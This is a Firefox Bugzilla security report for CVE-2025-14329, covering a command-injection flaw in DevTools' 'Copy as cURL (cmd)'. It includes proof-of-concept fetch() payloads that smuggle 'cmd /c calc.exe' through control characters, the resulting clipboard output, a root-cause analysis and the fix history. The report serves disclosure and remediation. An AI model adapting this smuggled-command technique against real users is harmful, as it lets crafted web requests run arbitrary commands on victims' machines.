Closed Bug 1997018 (CVE-2025-14329) Opened 9 months ago Closed 8 months ago

Allows Arbitrary Code Execution via "Copy as cURL (windows)" in DevTools

Categories

(DevTools :: Netmonitor, defect, P2)

Firefox 144
defect

Tracking

(firefox-esr115 wontfix, firefox-esr140146+ fixed, firefox145 wontfix, firefox146+ fixed, firefox147+ fixed)

RESOLVED FIXED
147 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 146+ fixed
firefox145 --- wontfix
firefox146 + fixed
firefox147 + fixed

People

(Reporter: ucokas12, Assigned: bomsy)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [adv-main146+][adv-esr140.6+])

Attachments

(5 files, 1 obsolete file)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0

Steps to reproduce:

The issue concerns the “Copy as cURL (cmd)” feature in DevTools. When exporting a request to Windows that includes a cmd command, the parsing logic fails to correctly handle control characters.

This also affects Firefox Nightly version 146.0a1 (2025-10-28) (64-bit).

os: windows 11

Steps to reproduce:

  1. Copy and run the payload in console (this can also be via html)
fetch("/copyme", {
  credentials: "omit",
  headers: {
    "Accept-Language": "en-US",
    "Content-Type": "text/plain",
  },
  method: "POST",
  body: `
query=evil\ncmd /c calc.exe\x1a\ncmd /c calc.exe\x1a
`
});

or

fetch("/copyme", {
  credentials: "omit",
  headers: {
    "Accept-Language": "en-US",
    "Content-Type": "text/plain",
  },
  method: "POST",
  body: `
query=evil\ncmd /c calc.exe\x0e\ncmd /c calc.exe\x0f
`
});
  1. Copy the request with copy as curl (cmd)
  2. Paste on the windows cmd and see calc pop up
Attached video nigthly.mp4
Component: Untriaged → Netmonitor
Product: Firefox → DevTools

Here's what ends up on the clipboard:

curl.exe ^"https://example.com/copyme^" ^
  --compressed ^
  -X POST ^
  -H ^"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0^" ^
  -H ^"Accept: */*^" ^
  -H ^"Accept-Language: en-US^" ^
  -H ^"Accept-Encoding: gzip, deflate, br, zstd^" ^
  -H ^"Referer: https://glob.au/^" ^
  -H ^"Content-Type: text/plain^" ^
  -H ^"Origin: https://glob.au^" ^
  -H ^"Connection: keep-alive^" ^
  -H ^"Sec-Fetch-Dest: empty^" ^
  -H ^"Sec-Fetch-Mode: cors^" ^
  -H ^"Sec-Fetch-Site: same-origin^" ^
  -H ^"Idempotency-Key: ^\^"17998794007892653385^\^"^" ^
  -H ^"Priority: u=4^" ^
  -H ^"TE: trailers^" ^
  --data-raw ^"^

query=evil^

cmd /c calc.exe^^

cmd /c calc.exe^^

^"
Status: UNCONFIRMED → NEW
Ever confirmed: true
Attached file (secure)

Is this the same as bug 1996761?

Assignee: nobody → hmanilla
Flags: needinfo?(hmanilla)
See Also: → CVE-2025-14328
Blocks: curl

Bug 1996761, Bug 1997018 (this one), Bug 1998010, and Bug 1998064 all appear to be related to the same root cause - unescaped characters in POST data; however, all are using different characters/sequences to trigger the exploit.

Severity: -- → S3
Flags: needinfo?(hmanilla)
Priority: -- → P2

So did a bit more investigation,
The issue here (which is the same as with Bug 1998064 and Bug 1998010) is we are currently escaping ASCII control characters See https://www.ascii-code.com/characters/control-characters with ^ (the main escape character for the Windows CMD), but this does not work.

It is exploited to escape break the escape sequence by escaping the caret which escapes the next character.

e.g calc.exe\x0e\ncmd becomes calc.exe^^\n\ncmd => The first ^ from the escape of the control character escapes the second ^ which should have escaped the new line.
The valid result be calc.exe^\n\ncmd => When we do not escape the control character

Duplicate of this bug: 1998064
Duplicate of this bug: 1998010

maybe you can do it, Replace all non-printable characters with space, as these break cmd.exe commands as well

Pushed by hmanilla@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/e53d1ca45621 https://hg.mozilla.org/integration/autoland/rev/1864f6aa8ae0 [devtools] Stop escaping Unicode control (non-printable) characters with caret(^) r=devtools-reviewers,nchevobbe
Group: firefox-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 8 months ago
Flags: in-testsuite+
Resolution: --- → FIXED
Target Milestone: --- → 147 Branch
Flags: sec-bounty?

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(hmanilla)

:bomsy, to add to Comment 12, this will also need an uplift request for ESR140. It grafts cleanly.

Attached file (secure)

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Attachment #9529132 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small js patch to properly escape unicode control characters.
  • String changes made/needed: none
  • Is Android affected?: no
Attached file (secure) (obsolete) —

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Attachment #9529133 - Flags: approval-mozilla-esr140?

firefox-esr140 Uplift Approval Request

  • User impact if declined: Clever combination of control character in a curl command, if run on the user's machine can cause vunerability.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small js patch to properly escape unicode control characters.
  • String changes made/needed: none
  • Is Android affected?: no
Attachment #9529132 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c147/b146]
Flags: sec-bounty? → sec-bounty+
Attached file (secure)

Escaping control (mostly non-printable) charaters, means that only the caret(^) used for the escape will be
included in the curl output and therefore the caret will be unexpectedly be escaping whatever character is after
the control character.
This patch stops escaping the unicode control characters.

Original Revision: https://phabricator.services.mozilla.com/D270661

Attachment #9529371 - Flags: approval-mozilla-esr140?
Flags: needinfo?(hmanilla)
Attachment #9529133 - Attachment is obsolete: true
Attachment #9529133 - Flags: approval-mozilla-esr140?
Attachment #9529371 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+

Hey team,

is it possible to complete the bounty form as soon as possible? I will be undergoing mandatory military training, and for the next few months I won’t have access to any electronic devices. I’m worried I might not be able to fill out the form once the training begins.

If it can’t be expedited, that’s totally fine.

Thank you.

Flags: needinfo?(dveditz)

That's a question for Tom

Flags: needinfo?(dveditz) → needinfo?(tom)

Done

Flags: needinfo?(tom)

Is it possible?

Flags: needinfo?(tom)
Whiteboard: [adv-main146+]
Whiteboard: [adv-main146+] → [adv-main146+][adv-esr140.6+]

I've sent the invoice to Accounting who should reach out to you. If you have further questions about the process; please email security@mozilla.com

Flags: needinfo?(tom)
Alias: CVE-2025-14329
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: